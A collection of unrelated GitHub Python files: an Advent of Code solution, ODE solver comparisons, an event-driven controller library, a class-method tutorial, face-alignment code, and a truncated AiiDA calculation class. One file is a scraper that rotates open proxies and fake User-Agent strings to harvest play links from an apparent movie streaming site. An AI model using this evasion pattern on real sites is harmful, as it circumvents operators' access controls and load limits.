for raw_line in raw_lines:\n coord1, coord2 = raw_line.split(\" -> \")\n x1, y1 = [int(n) for n in coord1.split(\",\")]\n x2, y2 = [int(n) for n in coord2.split(\",\")]\n if x1 == x2 or y1 == y2: # line is vertical or horizontal\n matches.append(Line(x1, y1, x2, y2))\n\n return matches\n\ndef get_overlapping(lines):\n overlapping_lines = []\n\n for line_idx, line in enumerate(lines):\n for other_idx, other_line in enumerate(lines):\n if line_idx == other_idx:\n continue\n \n if line.overlaps(other_line) and line not in overlapping_lines:\n overlapping_lines.append(line)\n\n return overlapping_lines\n\ndef draw_lines(lines):\n max_value = 1\n for line in lines:\n if line.x1 > max_value or line.y1 > max_value or line.x2 > max_value or line.y2 > max_value:\n max_value = max(line.x1, line.y1, line.x2, line.y2)\n\n grid = []\n for _ in range(max_value + 1):\n row = []\n for _ in range(max_value + 1):\n row.append(0)\n \n grid.append(row)\n \n for line in lines:\n if line.is_horizontal():\n y = line.y1\n for x in range(line.x1, line.x2 + 1):\n grid[x][y] += 1\n else:\n x = line.x1\n for y in range(line.y1, line.y2 + 1):\n grid[x][y] += 1\n\n return grid\n\ndef overlapping_points(filename):\n raw_lines = get_raw_lines(filename)\n lines = parse_lines(raw_lines)\n overlapping_lines = get_overlapping(lines)\n grid = draw_lines(overlapping_lines)\n points = 0\n\n for row in grid:\n for square in row:\n if square > 1:\n points += 1\n\n return points\n\nclass TestDay5(unittest.TestCase):\n def test_part1(self):\n self.assertEqual(overlapping_points(\"data/testinput5.txt\"), 5)\n print(\"Day 5, Part 1: \", overlapping_points(\"data/input5.txt\"))\n\nif __name__ == '__main__':\n unittest.main()\n","repo_name":"ajpocus/advent-2021-python","sub_path":"day5.py","file_name":"day5.py","file_ext":"py","file_size_in_byte":2725,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"42002026411","text":"#!/usr/bin/python3\nfrom math import sqrt,exp\n\n# Integration length\nL=2\n\n# Constants in the two-stage IRK method\nc1=(3-sqrt(3))/6.\nc2=(3+sqrt(3))/6.\na12=(3-2*sqrt(3))/12.\na21=(3+2*sqrt(3))/12.\n\n# Function to integrate\ndef f(x,y):\n return exp(-0.5*x*x)-y*x\n\n# Analytical solution\ndef yexact(x):\n return x*exp(-0.5*x*x)\n\n# Euler method\ndef euler(n):\n\n # Constants and starting values\n h=L/n\n y=0\n\n # Perform n Euler steps\n for i in range(n):\n x=i*h\n y+=h*f(x,y)\n\n # Return function evaluations and solution \n return (n,y)\n\n# Improved Euler method\ndef imp_euler(n):\n\n # Constants and starting values\n h=L/n\n y=0\n\n # Perform n improved Euler steps\n for i in range(n):\n x=i*h\n k1=f(x,y)\n k2=f(x+h,y+h*k1)\n y+=0.5*h*(k1+k2)\n\n # Return function evaluations and solution\n return (2*n,y)\n\n# Two-stage IRK method\ndef irk(n):\n\n # Constants and starting values\n h=L/n\n y=0\n k1=0;k2=0\n feval=0\n\n # Peform n IRK steps\n for i in range(n):\n x=i*h\n\n # Perform fixed-point iteration\n while True:\n\n # Compute new k1 and k2 using previous values\n # as a starting guess\n k1new=f(x+c1*h,y+h*(0.25*k1+a12*k2))\n k2new=f(x+c2*h,y+h*(a21*k1new+0.25*k2))\n feval+=2\n\n # Compute change in k1 and k2, to determine if they have\n # converged\n (dk1,dk2)=(k1new-k1,k2new-k2)\n (k1,k2)=(k1new,k2new)\n if(dk1*dk1+dk2*dk2<1e-25):\n break\n\n # Update solution\n y+=0.5*h*(k1+k2)\n\n # Return function evaluations and solution\n return (feval,y)\n\n# Evaluate error for different numbers of steps\ny_ex=yexact(L)\nn=1\nwhile n<131072:\n\n (f1,y1)=euler(n)\n (f2,y2)=imp_euler(n)\n (f3,y3)=irk(n)\n\n print(n,L/n,f1,abs(y1-y_ex),f2,abs(y2-y_ex),f3,abs(y3-y_ex))\n n+=1+n//4\n","repo_name":"chr1shr/math514","sub_path":"ode/meth_comp.py","file_name":"meth_comp.py","file_ext":"py","file_size_in_byte":1906,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"3"} +{"seq_id":"39198352461","text":"import time\nimport requests\nimport random\n\nfrom multiprocessing import Process\nfrom multiprocessing import JoinableQueue as Queue\nfrom bs4 import BeautifulSoup as bs\n\"\"\"\n爬虫目标: 爬取网站所有的电影跳转url 网站主url+a href进行拼接 \n第二部分： 完成爬取所有num.html的页面 并加载播放url \n第三部分： 分页部分的爬取 与爬取合并 （识别最大页数） +第二部分 分类 +线进协程池\n第四部分： 数据筛选清理 \n第五部分： 登陆和注册播放 --- 34.html是vip专区\n\"\"\"\n\n\nclass WebUrl(object):\n def __init__(self):\n self.base_url = 'http://www.px6080.com/whole/{}.html' # 11.html是喜剧片\n self.page_url = 'http://www.px6080.com/whole/1_______0_addtime_{}.html'\n self.USER_AGENT_LIST = [\n \"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.1 (KHTML, like Gecko) Chrome/22.0.1207.1 Safari/537.1\",\n \"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.6 (KHTML, like Gecko) Chrome/20.0.1092.0 Safari/536.6\",\n]\n self.proxy_list = [\n {\"http\": '61.135.217.7:80'},\n {\"http\": '119.39.238.55:9999'},\n # {\"http\": '119.101.116.136:9999'},\n # {\"http\": '119.101.115.84:9999'},\n # {\"http\": '119.101.116.114:9999'},\n {\"http\": '119.101.113.130:9999'},\n # {\"http\": '111.155.116.229:8123'},\n # {'http': '119.101.114.239:9999'},\n # {'http': '118.187.58.34:53281'},\n # {'http': '119.101.114.239:9999'},\n # {'http': '118.187.58.34:53281'},\n # {'http': '119.101.115.158:9999'},\n # {'http': '119.101.113.173:9999'},\n # {'http': '119.101.114.143:9999'},\n # {'http': '119.101.116.134:9999'}\n ]\n self.count = 0\n self.url_queue = Queue()\n self.html_queue = Queue()\n self.content_list_queue = Queue()\n\n def joint_url(self):\n url_list = []\n for i in range(1, 36): # 页面到27\n url_list.append(self.base_url.format(i))\n return url_list\n\n def joint_page__url(self):\n # url_list = []\n for i in range(1, 854): # 页面到27\n # for j in range(1, 40):\n self.url_queue.put(self.page_url.format(i))\n print(self.url_queue)\n # url_list.append(self.page_url.format(i, j))\n # with open('html/url_list', 'w', encoding='utf-8')as f:\n # for url in url_list:\n # f.write(url + '\\r\\n')\n # return url_list\n\n def send_request(self):\n while True:\n proxy = random.choice(self.proxy_list) # 随机的代理\n url = self.url_queue.get()\n print(url)\n # response_list.append(requests.get(url, headers={\"User-Agent\": random.choice(self.USER_AGENT_LIST)}, proxies=proxy).content.decode())\n response = requests.get(url, headers={\"User-Agent\": random.choice(self.USER_AGENT_LIST)}, proxies=proxy)\n print('----------------------', response)\n if response.status_code == 200:\n # 响应对象 入队列\n self.html_queue.put(response)\n self.url_queue.put(url)\n\n # url队列计数器 减一\n self.url_queue.task_done()\n\n def save_data(self):\n with open('html/网站url_04_分页.txt', 'a', encoding='utf-8') as f:\n data = self.content_list_queue.get()\n print(data)\n self.content_list_queue.task_done()\n f.write(data)\n\n def parse_data(self):\n # content_list = []\n title_str_list = []\n href_str_list = []\n href_list = []\n num = 0\n while True:\n data = self.html_queue.get().content.decode()\n # 解析数据 使用bs4\n soup = bs(data, 'html5lib')\n # soup_list = soup.select('.movielist ul li a')\n soup_list = soup.select('.col-md-1-5 a')\n for i in soup_list:\n href_str_list.append(i.get('href'))\n title_str_list.append(i.get('title')) # img有title 取哪个都无所谓http://www.xo55.com\n for index in range(1, len(title_str_list)+1):\n if index % 2 == 0: # 整除得0\n title_str = title_str_list[index - 1]\n if index <= len(href_str_list) - 1:\n href_list.append(href_str_list[index - 1].split('/', 2)[2])\n content_str = title_str + '-----' + 'http://www.px6080.com' + href_str_list[index - 2] + ' 播放页面：' + 'http://www.px6080.com/play/' + href_list[num].split('.')[0] + '/0/0.html' + '\\r\\n'\n print(content_str)\n # content_list.append(content_str)\n num += 1\n self.count += 1\n print('总个数:{}'.format(self.count))\n # 数据入队列\n self.content_list_queue.put(content_str)\n index += 1\n # 响应的队列 计数器-1\n self.html_queue.task_done()\n\n # def start_spider(self):\n # content_list = []\n # for data in self.send_request():\n # content_list.append(self.parse_data(data))\n # # content_list = self.parse_data(self.send_request())\n # for i in content_list:\n # for j in i:\n # self.save_data(j)\n\n def start_spider(self):\n th_list = []\n # 1.组合url_list\n th_url = Process(target=self.joint_page__url)\n th_list.append(th_url)\n\n # 2.fa送请求 并发数\n for i in range(10):\n th_request = Process(target=self.send_request)\n th_list.append(th_request)\n\n # 3.解析\n th_nanalysis = Process(target=self.parse_data)\n th_list.append(th_nanalysis)\n\n # 4保存\n th_save = Process(target=self.save_data)\n th_list.append(th_save)\n\n # 开启线程\n for th in th_list:\n # 进程程守护 原因 py3 中 主线程挂了, 子线程不挂\n th.daemon = False\n print(th)\n th.start()\n\n # 队列阻塞 主线程\n for qu in [self.url_queue, self.html_queue, self.content_list_queue]:\n qu.join()\n\n # for data in self.send_request():\n # content_list.append(self.parse_data(data))\n # # content_list = self.parse_data(self.send_request())\n # for i in content_list:\n # for j in i:\n # self.save_data(j)\n\n def run(self):\n start_time = time.time()\n self.start_spider()\n end_time = time.time()\n print('共耗时%s' % (end_time - start_time))\n\n\nif __name__ == '__main__':\n WebUrl().run()\n","repo_name":"gy0109/spiders","sub_path":"爬虫-03/6080/6080_01.py","file_name":"6080_01.py","file_ext":"py","file_size_in_byte":6817,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"71378698323","text":"# -*- coding: UTF-8 -*-\n\"\"\" 事件驱动控制器。\n\n工作原理:\n\n+------------------------------------+ instance\n| AdapterManager |<------------ Adapter\n+------------------------------------+\n| | | |\n| | v |\n| | func +-----------------+ EVT\n| | +---------| MappingManager |<------------ dispatch\n| | | +-----------------+\n| | | |\n| v v |\n+------------------------------------+\n| | func\n| EventLoop |<------------ submit\n| |\n+------------------------------------+\n ^ | process +-----------------------------+\n | +--------------> | Session |\n | +-----------------------------+\n | | def func(*args, **kwargs): |\n | | ... |\n | +-----------------------------+\n | return v\n ^--------------------------------------------------<\n\n\"\"\"\n\nfrom threading import Thread, Event\nfrom queue import Queue\nfrom .adapter import AbstractAdapter\nfrom .session import session\nfrom .event import (EVT_DRI_SHUTDOWN, EVT_DRI_AFTER, EVT_DRI_SUBMIT,\n EVT_DRI_BEFORE, EVT_DRI_OTHER, EVT_DRI_CLEAN)\nfrom .utils import Listener\nfrom .mapping import MappingManager\nfrom .error import ListenerAlreadyExisted, UniqueAdapterInstance\n\n\nclass Controller:\n \"\"\" 事件控制器。\n\n :public property\n adapters: 适配器管理器\n mapping: 事件处理映射管理器\n event_channel: 事件处理队列通道\n\n \"\"\"\n\n def __init__(self, mapping=None, context=None, event_channel=None, adapters=(),\n static=None, name=None, daemon=True):\n \"\"\"\n :param\n mapping: 事件处理映射，类型dict/MappingBlueprint。\n context: 全局动态上下文。类型dict。\n - 该字典的键值将以属性的方式添加到会话线程变量session，如session.example\n - 除了python内部变量关键字外，还有不允许使用的属性名:\n - 若属于监听转发得到的事件\n event_channel: 可指定事件队列通道。类型Queue。\n adapters: 初始化添加适配器。类型继承AbstractAdapter类。\n static: 静态上下文。类型dict\n - 该字典的键值将以项的方式添加到会话线程变量session，如session['example']\n - 不允许使用的健:\n * ALL CASE: 'self', 'evt', 'val'\n * EVT_DRI_OTHER: 'origin_evt'\n * EVT_DRI_SUBMIT: 'function', 'args', 'kwargs', 'evt_context'\n * EVT_DRI_BEFORE: 'hdl_init', 'hdl_args', 'hdl_kwargs'\n * EVT_DRI_AFTER: 'returns'\n name: 该名称将用用于线程名称。\n daemon: 该daemon将用于线程的创建时传递。\n \"\"\"\n # event_channel 是待处理事件队列。\n self.event_channel = event_channel or Queue()\n\n # 适配器管理器，允许为控制器安装所需适配器以增强其功能。\n self.adapters = AdapterManager(self, *adapters)\n\n # 为了更好的在各个控制器之间的友好通信，listeners 存放着当前控制器所被监听的事件。\n # 当控制器发生被监听的事件的时候，控制器会将事件（值和上下文会以ForwardingPacket对象）转发给监听者。\n self.listeners = []\n\n # 当前控制器线程对象。\n self.__con_thread = None\n self._daemon = daemon\n # global 属于全局上下文环境， runtime 属于运行时上下文环境， event_ctx 属于事件上下文环境。\n # 若存在同样的上下文属性名，那么会以 global < runtime < event_ctx 的优先级覆盖。\n # 其中 event_ctx 属于单次事件的上下文。runtime 属于运行时创建的上下文， global 属于初始化控制器时所创建的上下文。\n self._global = dict(context or {})\n self._runtime = {}\n\n self._static = dict(static or {})\n # 用于表示控制器的实时状态。\n # no_suspend 显示控制器是否属于非挂起状态，如果非挂起状态时Event.set()， 否则Event.clear()\n # idle 显示控制器是否处于空闲状态。这里所说的空闲的意思是：\n # 控制器是否处于在处理函数中。\n # ！！注意的是，当控制器处于取出事件过程中，控制器是处于空闲状态的。！！\n self.__not_suspended = Event()\n self.__not_suspended.set()\n self.__idle = Event()\n # pending事件过程中\n self.__pending = Event()\n self.__pending.set()\n # skip事件用于跳过当前事件，若已经处于事件处理过程中的话将无效。\n self.__skip = False\n\n # 若不指定name则默认使用当前控制器实例的内存id号作为name。\n self._name = name or str(id(self))\n\n # mapping 事件处理映射管理器。\n self.mapping = MappingManager(mapping)\n\n @property\n def name(self):\n \"\"\" 返回控制器名称。 \"\"\"\n return self._name\n\n @property\n def __global__(self):\n \"\"\" 返回全局上下文环境。\"\"\"\n return self._global\n\n @property\n def __runtime__(self):\n \"\"\" 返回运行时上下文环境。\"\"\"\n return self._runtime\n\n @property\n def __static__(self):\n \"\"\" 返回静态上下文环境。\"\"\"\n return self._static\n\n def Adapter(self, *adapters):\n \"\"\" 添加适配器。 \"\"\"\n p_names = []\n for adapter in adapters:\n # 实例化适配器并安装适配器\n p_names.append(self.adapters.install(adapter))\n\n if len(adapters) == 1:\n return p_names[0]\n\n return p_names\n\n def is_idle(self):\n \"\"\" 返回控制器是否处于空闲状态。\n 注意：当控制器处于取出事件过程中，控制器是处于空闲状态的。\n \"\"\"\n return self.__idle.is_set()\n\n def is_alive(self):\n \"\"\" 返回控制器是否处于运行中。 \"\"\"\n return self.__con_thread and self.__con_thread.is_alive()\n\n def is_suspended(self):\n \"\"\" 返回控制器是否被挂起。 \"\"\"\n return not self.__not_suspended.is_set()\n\n def suspend(self):\n \"\"\" 挂起控制器，等待新的任务进入。 \"\"\"\n self.__not_suspended.clear()\n # 挂起适配器。\n for adapter in self.adapters:\n adapter.__suspend__()\n\n def resume(self):\n \"\"\" 从挂起中恢复。 \"\"\"\n self.__not_suspended.set()\n\n # 恢复适配器。\n for adapter in self.adapters:\n adapter.__resume__()\n\n def submit(self, function=None, args=(), kwargs=None, context=None):\n \"\"\" 提交处理任务。 \"\"\"\n self.dispatch(EVT_DRI_SUBMIT, function, context, args, kwargs)\n\n def dispatch(self, evt, value=None, context=None, args=(), kwargs=None):\n \"\"\" 给控制器事件处理队列通道推送事件。\n :param\n evt : 事件信号ID，\n value : 发起事件传递的值，之后会以event.val发给事件响应对象。\n context : 为事件响应创建的上下文，以属性方式解包给event。\n args : 传递给事件处理函数的列表参数\n kwargs : 传递给事件处理函数的字典参数\n \"\"\"\n # 不允许对挂起的控制器分派任务。\n assert not self.is_suspended()\n self.__pending.wait()\n self.event_channel.put((evt, value, dict(context or {}), args, kwargs or {}))\n\n def listen(self, target, allow, name=None):\n \"\"\" 监听指定控制器的事件。 \"\"\"\n if self.event_channel in target.listeners:\n raise ListenerAlreadyExisted()\n target.listeners.append(Listener(self.event_channel, allow, name))\n\n def listened_by(self, queue, allow, name=None):\n \"\"\" 允许被队列Queue监听。\"\"\"\n if queue in self.listeners:\n raise ListenerAlreadyExisted()\n self.listeners.append(Listener(queue, allow, name))\n\n def shutdown(self):\n \"\"\" 发送关闭控制器的信号。\"\"\"\n # 恢复被挂起的线程，让其恢复接受任务处理的状态。\n self.__not_suspended.set()\n\n self.dispatch(EVT_DRI_SHUTDOWN)\n\n # 关闭适配器。\n for adapter in self.adapters:\n adapter.__closing__()\n\n close = shutdown\n\n def run(self, context=None, suspend=False):\n \"\"\" 运行控制器事件处理循环线程。\n :param\n context : 运行时提供的上下文。\n suspend : 如果为True，那么启动线程后将挂起，等待恢复状态。\n \"\"\"\n if self.__con_thread and self.__con_thread.is_alive():\n raise RuntimeError('控制器已经处于运行状态。')\n\n if suspend:\n self.__not_suspended.clear()\n else:\n self.__not_suspended.set()\n\n for adapter in self.adapters:\n adapter.__running__()\n\n context = dict(context or {})\n self._runtime = context\n thr = Thread(target=self.__eventloop_thread, daemon=self._daemon,\n args=(context,), name=self._name)\n self.__con_thread = thr\n thr.start()\n\n for adapter in self.adapters:\n adapter.__run__()\n\n return thr\n\n def pending(self):\n \"\"\" 等待事件处理队列被取完。在pending过程中就阻塞任务派遣方法dispatch/submit.\"\"\"\n self.__pending.clear()\n self.event_channel.join()\n self.__pending.set()\n\n def wait_for_idle(self, timeout=None):\n \"\"\" 等待控制器进入空闲状���。\n 进入空闲状态并不意味着再下一刻不会进入工作状态。\n 因为本质上空闲状态是当控制器线程处于事件获取的过程中，控制器是处于空闲状态的。\n \"\"\"\n self.__idle.wait(timeout)\n\n def wait(self, timeout=None):\n \"\"\" 等待控制器关闭。\n 若控制器已启动，则阻塞至控制器关闭。\n\n 若控制器未启动，则不会发生任何事情。\n \"\"\"\n if self.__con_thread and self.__con_thread.is_alive():\n self.__con_thread.join(timeout)\n\n join = wait\n\n def skip(self):\n \"\"\" 跳过当前事件的处理。\n 通常这用于事件处理之前的hook_before事件。\n 这将跳过当前事件之后的所有函数调用。\n\n 注意：若当前事件是EVT_DRI_SHUTDOWN控制器的关闭事件，也同样会进行跳过处理。\n \"\"\"\n self.__skip = True\n\n def clean(self):\n \"\"\" 清空消息队列。\n\n 不允许在控制器启动过程中运行清空队列。\n \"\"\"\n assert not self.__con_thread or not self.__con_thread.is_alive()\n # 清空完毕标志位。\n self.event_channel.put(EVT_DRI_CLEAN)\n while True:\n ret = self.event_channel.get()\n self.event_channel.task_done()\n if ret == EVT_DRI_CLEAN:\n break\n\n def __eventloop_thread(self, runtime_ctx):\n # 首次进入初始化全局环境。\n session.__static__ = self._static\n session['self'] = self\n session.__context__(self._global)\n try:\n while True:\n # 进入空闲状态，即没有任务处理的状态。\n self.__idle.set()\n # 如果线程被挂起，那么进入等待。\n self.__not_suspended.wait()\n evt, val, event_ctx, hdl_args, hdl_kwargs = self.event_channel.get()\n self.event_channel.task_done()\n # 当取到任务后清除空闲标志位。\n self.__idle.clear()\n # 准备处理函数。\n hdl_list = self.mapping.get(evt, [])\n\n if evt == EVT_DRI_SUBMIT:\n # 如果重写了EVT_DRI_SUBMIT的事件处理，那么提交的任务将更新于静态上下文里面\n # _function, _args, _kwargs\n if hdl_list:\n session['function'] = val\n session['args'] = hdl_args\n session['kwargs'] = hdl_kwargs\n hdl_args = ()\n hdl_kwargs = {}\n else:\n hdl_list = [val]\n\n # 以监听事件响应来通知所有监听该事件的监听者。\n s_push = (i for i in self.listeners if i.check(evt))\n for i in s_push:\n # 抄送事件响应信息。\n i.push(evt, val, event_ctx)\n\n # 如果没有定义该事件处理，那么尝试使用默认处理方式。\n if not hdl_list and evt != EVT_DRI_SHUTDOWN:\n hdl_list = self.mapping.get(EVT_DRI_OTHER, [])\n # 默认处理的情况下，强制为事件响应添加属性指向源触发事件ID。\n session['origin_evt'] = evt\n\n evt = EVT_DRI_OTHER\n\n befores = self.mapping.get(EVT_DRI_BEFORE, [])\n afters = self.mapping.get(EVT_DRI_AFTER, [])\n\n if hdl_list or befores or afters:\n session['evt'] = evt\n session['val'] = val\n # 创建响应事件，context是dispatch的上下文。\n # 优先级：self._global < runtime_ctx < event_ctx\n d = dict(self._global)\n d.update(runtime_ctx)\n d.update(event_ctx)\n # 设置上下文环境。\n session.__context__(d)\n\n # 恢复跳过事件标志。\n self.__skip = False\n # 事件处理函数之前。\n if befores:\n session['hdl_list'] = hdl_list\n session['hdl_args'] = hdl_args\n session['hdl_kwargs'] = hdl_kwargs\n session['evt_context'] = event_ctx\n for before in befores:\n if evt == EVT_DRI_BEFORE:\n break\n if callable(before):\n before()\n # 销毁静态上下文\n del session['hdl_list']\n del session['hdl_args']\n del session['hdl_kwargs']\n del session['evt_context']\n\n # 若事件处理被跳过了��那么afters也会被跳过\n if not self.__skip:\n returns = []\n for hdl in hdl_list:\n if callable(hdl):\n # 事件处理函数\n returns.append(hdl(*hdl_args, **hdl_kwargs))\n # 分开两次判断是为了确定在事件处理过程中的跳过操作。\n if not self.__skip:\n # 事件处理函数之后。\n # 如果是在控制器关闭的事件EVT_DRI_SHUTDOWN的处理后，那么将不做事件后处理。\n # 如果希望跳过控制器的关闭事件，可以在事件处理前或事件处理处进行添加处理映射。\n if afters and evt != EVT_DRI_SHUTDOWN:\n session['returns'] = returns\n for after in afters:\n if evt == EVT_DRI_AFTER:\n break\n if callable(after):\n after()\n del session['returns']\n\n # 销毁事件层级的静态上下文参数。\n del session['evt']\n del session['val']\n\n if evt == EVT_DRI_OTHER:\n # 清除other静态上下文\n del session['origin_evt']\n elif evt == EVT_DRI_SUBMIT:\n try:\n # 销毁任务提交submit添加的静态上下文，若存在\n del session['function']\n del session['args']\n del session['kwargs']\n except KeyError:\n pass\n # 跳过标志也会跳过控制器的关闭事件。\n if not self.__skip and evt == EVT_DRI_SHUTDOWN:\n self.__idle.set()\n break\n except Exception as err:\n # 发生异常的下的适配器处理。\n for adapter in self.adapters:\n adapter.__exception__(err)\n raise\n finally:\n # 清除静态环境。\n session.__static__.clear()\n # 清除上下文环境\n session.__context__({})\n\n # 控制器已关闭处理事件。\n for adapter in self.adapters:\n adapter.__closed__()\n\n def __repr__(self):\n status = 'stopped'\n if self.is_alive():\n status = 'running'\n if self.is_suspended():\n status = 'suspended'\n\n return '' % (self._name, status)\n\n\nclass AdapterManager:\n def __init__(self, parent, *init_plug):\n self._parent = parent\n self._adapters = {}\n for p in init_plug:\n self.install(p)\n self.__name_adapter = {}\n\n def install(self, adapter):\n \"\"\" 安装适配器。\n :param\n plugin : 适配器实例。\n :return\n 返回实例化的适配器名称。\n \"\"\"\n if not isinstance(adapter, AbstractAdapter):\n raise TypeError('can only install adapter instance inherited from BaseAdapter.')\n\n pt = type(adapter)\n if pt not in self._adapters:\n self._adapters[pt] = []\n else:\n # 检查适配器是否只允许安装一个实例。\n if adapter.__unique__():\n raise UniqueAdapterInstance('this adapter can only install one instance.')\n\n # 安装适配器依赖。\n for dependency in adapter.__dependencies__():\n if type(dependency) not in self._adapters:\n self.install(dependency)\n\n # 引入适配器实例。\n name = adapter.__class__.__name__.lower()\n if hasattr(self, name):\n cnt = 0\n while True:\n cnt += 1\n if not hasattr(self, name + str(cnt)):\n break\n name = name + str(cnt)\n\n # 安装适配器。\n adapter.__setup__(self._parent, name)\n # 打补丁。\n adapter.__patch__()\n # 安装事件处理函数。\n # 为了支持多个适配器添加同一事件，这里使用添加而不是使用更新覆盖的方法。\n for evt, hdl in adapter.__mapping__().items():\n self._parent.mapping.add(evt, hdl)\n\n # 添加全局动态上下文。\n self._parent.__global__.update(adapter.__context__())\n # 添加静态上下文。\n self._parent.__static__.update(adapter.__static__())\n self.__name_adapter[name] = adapter\n self._adapters[pt].append(adapter)\n\n return name\n\n def __iter__(self):\n \"\"\" 返回所有的适配器实例。 \"\"\"\n it = []\n for adapters in self._adapters.values():\n it.extend(adapters)\n return iter(it)\n\n def __getitem__(self, item):\n return self.__name_adapter[item]","repo_name":"ZSAIm/EventDriven","sub_path":"eventdriven/controller.py","file_name":"controller.py","file_ext":"py","file_size_in_byte":20453,"program_lang":"python","lang":"zh","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"15512020236","text":"\"\"\"\r\n Class Method:\r\n \r\n a) class method can denoted by @classemethod decorator.\r\n b) class method has one initial parameter like the instance method parameter 'self' \r\n by convention Python use 'cls' as a parameter, but can use any name.\r\n e.g --> @classmethod\r\n def method(cls):\r\n pass\r\n c) class method receives the class itself, implicitly though 'cls' parameter , just like\r\n an instance method receive the instance of class through 'self' parameter. \r\n d) class method can be invoke using the class name or an instance of the class,\r\n but good practice to call via class name.\r\n e) class method can work only with the class variables/attributes and it can't\r\n access instance variables/attributes though it doesn't have 'self' parameter\r\n with it.Means class method is bound to class only , not the object of the class.\r\n \r\n f) Common use of class method is to define factory methods, as we know we can't\r\n overload function in Python, that means we can't have more __init__() initializer\r\n method in single class, but we can define another initializer method which\r\n is called the alternative initializer method using class method, typically this\r\n is the factory method. \r\n g) Factory method is used to create instance object in different ways.\r\n \r\n \r\n \r\n\"\"\"\r\nclass Person:\r\n # class attributes\r\n species = 'Homo Sapiens'\r\n count = 0\r\n \r\n # instance method \r\n def __init__(self, name , age) -> None:\r\n self._name = name\r\n self._age = age\r\n self._email = '{}@gmail.com'.format(self._name)\r\n Person.count +=1\r\n \r\n # instance overloading method\r\n def __str__(self):\r\n return f'Name is :{self._name} ,Age is : {self._age} and Email : {self._email}'\r\n \r\n #class method are defined here\r\n @classmethod\r\n def show_count(cls):\r\n print(f'there are {cls.count} {cls.species}')\r\n\r\n# calling the class attributes/methods\r\nPerson.show_count()\r\n\r\n# creating instance of class\r\nperson_1 = Person('HK', 23)\r\nPerson.show_count()\r\nprint(person_1)\r\nperson_2 = Person('RK', 27)\r\nPerson.show_count()\r\nprint(person_2)\r\n\r\n# calling via instance of class\r\nperson_1.show_count()\r\n","repo_name":"JaberKh16/Python-Fundamentals-Concept-Practices","sub_path":"Section-17 Python Object Oriented Programming/15. Class Method/17.15.1 Simple Class Methdo.py","file_name":"17.15.1 Simple Class Methdo.py","file_ext":"py","file_size_in_byte":2274,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"805876310","text":"import cv2\nimport numpy as np\nfrom collections import namedtuple\nfrom PIL import Image\nfrom os.path import join as opj\n\nfrom .retinaface.align_faces import warp_and_crop_face, get_reference_facial_points\nimport time\nimport torch\n\n\n\ndef face_alignment(img, facial5point, output_size):\n \"\"\"rotate image based on facial5point\n\n args:\n img: cv2 image\n facial5point: 5point landmarks (support for retinaface and mtcnn1)\n output_size: size image need to return\n return:\n dst_img: rotated image in cv2 image\n \"\"\"\n facial5point = np.reshape(facial5point[0], (2, 5))\n\n default_square = True\n inner_padding_factor = 0.25\n outer_padding = (0, 0)\n\n # get the reference 5 landmarks position in the crop settings\n reference_5pts = get_reference_facial_points(\n output_size, inner_padding_factor, outer_padding, default_square)\n\n dst_img = warp_and_crop_face(img, facial5point,\n reference_pts=reference_5pts,\n crop_size=output_size)\n return dst_img\n\n\ndef initial_face_detector(conf, device):\n \"\"\"initial face detector\n\n args:\n conf: config for application\n logger: logging setting\n device: device setting\n return:\n face_detector: one of [retinaface, dlib_detector]\n \"\"\"\n if conf.retinaface:\n from .retinaface.detector import RetinafaceDetector\n face_detector = RetinafaceDetector(conf, device)\n elif conf.dlib_detector:\n from . import dlib_detector as dlib\n face_detector = dlib.DLIB_DETECTOR()\n return face_detector\n\n\ndef detect_faces(conf, face_detector, original_image):\n \"\"\"detect faces use retinaface/dlib\n\n agrs:\n conf: config for application\n face_detector: mtcnn1, retinaface for face detector\n original_image: cv2 image\n return:\n boxes: coordinate of bounding box of all faces on image\n faces: croped and aligned all faces on image\n \"\"\"\n # start_time = time.time()\n image = original_image.copy()\n\n if conf.retinaface:\n # logger.info(f'using Retinaface')\n short_edge = min(image.shape[0], image.shape[1])\n scale_percent = 1\n image_copy = image.copy()\n if short_edge >= 500:\n scale_percent = float(500 / short_edge)\n width = int(image.shape[1] * scale_percent)\n height = int(image.shape[0] * scale_percent)\n dim = (width, height)\n image = cv2.resize(image, dim, cv2.INTER_AREA)\n\n # logger.info(f'put image through Retina neural network')\n frame_bgr = cv2.cvtColor(np.array(image), cv2.COLOR_RGB2BGR)\n # frame_bgr = image\n _, facial5points, frame_bgr, boxes = face_detector.detect_faces(frame_bgr)\n faces = []\n if scale_percent != 1:\n boxes = np.multiply(boxes, (1/scale_percent))\n facial5points = np.multiply(facial5points, (1/scale_percent))\n frame_bgr = cv2.cvtColor(np.array(image_copy), cv2.COLOR_RGB2BGR)\n # frame_bgr = image_copy\n # logger.info(f'{len(boxes)} face/faces detected')\n if len(facial5points) > 0 and len(boxes) > 0 and len(facial5points) == len(boxes):\n for facial5point in facial5points:\n facial5point = np.expand_dims(facial5point, axis=0)\n face = face_alignment(frame_bgr, facial5point,\n (conf.require_size, conf.require_size))\n\n # # if model trained on RGB image\n # # convert cv2 format(BGR) to Image format(RGB)\n face_ = Image.fromarray(face[..., ::-1])\n\n # else model trained on BGR iaimage\n # face_ = Image.fromarray(face)\n faces.append(face_)\n # logger.info(f'infer through faces')\n return boxes, faces, facial5points\n","repo_name":"Tamminhdiep97/face_augmentation_tool","sub_path":"detector/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":3877,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"3"} +{"seq_id":"8141794054","text":"import os\n\nfrom aiida.common.datastructures import CalcInfo, CodeInfo\nfrom aiida.engine import CalcJob, CalcJobProcessSpec\nfrom aiida.plugins import DataFactory\n\n\nclass CryAbstractCalculation(CalcJob):\n \"\"\"Abstract AiiDA calculation plugin class, to run the crystal17 executable.\n\n Subclasses must at least specify input nodes,\n and implement a `prepare_for_submission` method\n \"\"\"\n\n link_output_results = \"results\"\n link_output_structure = \"structure\"\n link_output_symmetry = \"symmetry\"\n\n @classmethod\n def define(cls, spec: CalcJobProcessSpec):\n\n super(CryAbstractCalculation, cls).define(spec)\n\n spec.input(\"metadata.options.input_file_name\", valid_type=str, 